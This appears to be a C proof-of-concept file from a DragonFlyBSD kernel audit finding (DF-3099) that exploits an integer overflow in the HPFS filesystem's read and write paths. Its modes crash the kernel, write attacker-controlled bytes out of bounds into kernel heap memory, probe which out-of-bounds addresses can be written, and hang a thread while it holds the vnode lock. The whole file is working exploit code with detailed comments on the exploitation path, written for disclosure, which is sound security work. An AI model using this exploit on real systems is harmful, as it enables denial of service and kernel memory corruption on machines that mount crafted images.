⬢ DragonFlyBSD Kernel Audit
DF-3099 / poc.c
← back to finding ↓ download raw
/*
 * DF-3099 PoC — (runl+1)*DEV_BSIZE signed-int overflow of on-disk HPFS
 * extent length at the hpfs_read/hpfs_write consumers.
 *
 *   mode "readpanic": read 1 MiB at offset 0 from a file whose single
 *     alleaf claims al_len = 0x80100000.  hpfs_hpbmap returns
 *     runl = (int)(al_off-1+al_len-bn) = (int)0x800FFFFF < 0; the inner
 *     min(64*1024, (runl+1)*DEV_BSIZE) evaluates (0x80100000*512) mod 2^32
 *     = 0x80000000 = INT_MIN; the outer unsigned compare then selects
 *     off+resid = 0x100000 -> xfersz = 1 MiB -> bread -> getblk ->
 *     panic("getblk: size(1048576) > MAXBSIZE(65536)")   [vfs_bio.c:2737]
 *
 *   mode "wleak": pwrite 512 B at offset 511 from a file whose alleaf
 *     claims al_len = 0x800000 (2^23 blocks: (runl+1)*512 == 2^32 == 0
 *     mod 2^32).  towrite = szmin(off+resid, 0) = 0, xfersz = 0,
 *     off != 0 -> bread(devvp, bn, 0) -> uiomove(bp->b_data + 511,
 *     (size_t)(0 - 511)) -- uio_rw is UIO_WRITE here, so uiomove does
 *     copyin(user_buf, b_data+511, 512): 512 bytes of FULLY
 *     ATTACKER-CONTROLLED data written past a ZERO-byte kernel buffer =
 *     controlled kernel heap OVERWRITE (length attacker-chosen, up to
 *     uio_resid).
 *
 *   mode "whang": pwrite 1 B at offset 0, same image as wleak:
 *     off == 0 && towrite == xfersz (0 == 0) -> getblk(size 0) branch,
 *     uiomove(n=0) makes no progress -> while (uio->uio_resid) spins
 *     forever holding the vnode lock.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>

int main(int argc, char **argv)
{
	const char *path = argv[1];
	const char *mode = argv[2];

	if (!strcmp(mode, "readpanic")) {
		char *buf = malloc(0x100000);
		int fd = open(path, O_RDONLY);
		if (fd < 0) { perror("open"); return 2; }
		ssize_t n = read(fd, buf, 0x100000);
		printf("readpanic: read() = %zd errno=%d (no panic)\n", n, errno);
		return 0;
	} else if (!strcmp(mode, "wleak")) {
		unsigned char buf[512];
		memset(buf, 0x41, sizeof(buf));	/* marker 'A'x512 OOB write */
		int fd = open(path, O_WRONLY);
		if (fd < 0) { perror("open O_WRONLY"); return 2; }
		/*
		 * hpfs_write: off=511, towrite=szmin(511+512, 0)=0,
		 * xfersz=0 -> bread(devvp, bn, 0) -> uiomove(b_data+511,
		 * (size_t)-511, uio) with uio_rw=UIO_WRITE ->
		 * copyin(this buffer, b_data+511, 512): 512 controlled
		 * bytes OOB past a zero-size kernel buffer.
		 */
		ssize_t n = pwrite(fd, buf, 512, 511);
		printf("wleak: pwrite() = %zd errno=%d (returned -> OOB write done)\n",
		       n, errno);
		return 0;
	} else if (!strcmp(mode, "wprobe")) {
		/*
		 * Only lbn 0 (file offsets 1..511) triggers the underflow:
		 * towrite=0, xfersz=0, bread(devvp, bn, 0), then
		 * copyin(user, bp->b_data + off, len) into a ZERO-size
		 * buffer.  Find which b_data+off byte addresses are mapped:
		 * pwrite returning len proves attacker-controlled bytes were
		 * written OOB into kernel kva.
		 */
		int offs[] = { 1, 2, 7, 8, 63, 64, 127, 200, 255, 256, 400, 510, 511 };
		unsigned char buf[64];
		int fd = open(path, O_WRONLY);
		if (fd < 0) { perror("open O_WRONLY"); return 2; }
		memset(buf, 0x41, sizeof(buf));
		for (unsigned i = 0; i < sizeof(offs)/sizeof(offs[0]); i++) {
			int off = offs[i];
			errno = 0;
			ssize_t n = pwrite(fd, buf, 1, off);
			printf("wprobe: pwrite(1 @ %4d) = %zd errno=%d %s\n",
			       off, n, errno,
			       n == 1 ? "<== CONTROLLED BYTE WRITTEN OOB" : "");
		}
		return 0;
	} else if (!strcmp(mode, "whang")) {
		char c = 'X';
		int fd = open(path, O_WRONLY);
		if (fd < 0) { perror("open O_WRONLY"); return 2; }
		ssize_t n = pwrite(fd, &c, 1, 0);
		printf("whang: pwrite() = %zd (returned?!)\n", n);
		return 0;
	}
	fprintf(stderr, "usage: %s <file> <readpanic|wleak|wprobe|whang|control>\n", argv[0]);
	return 1;
}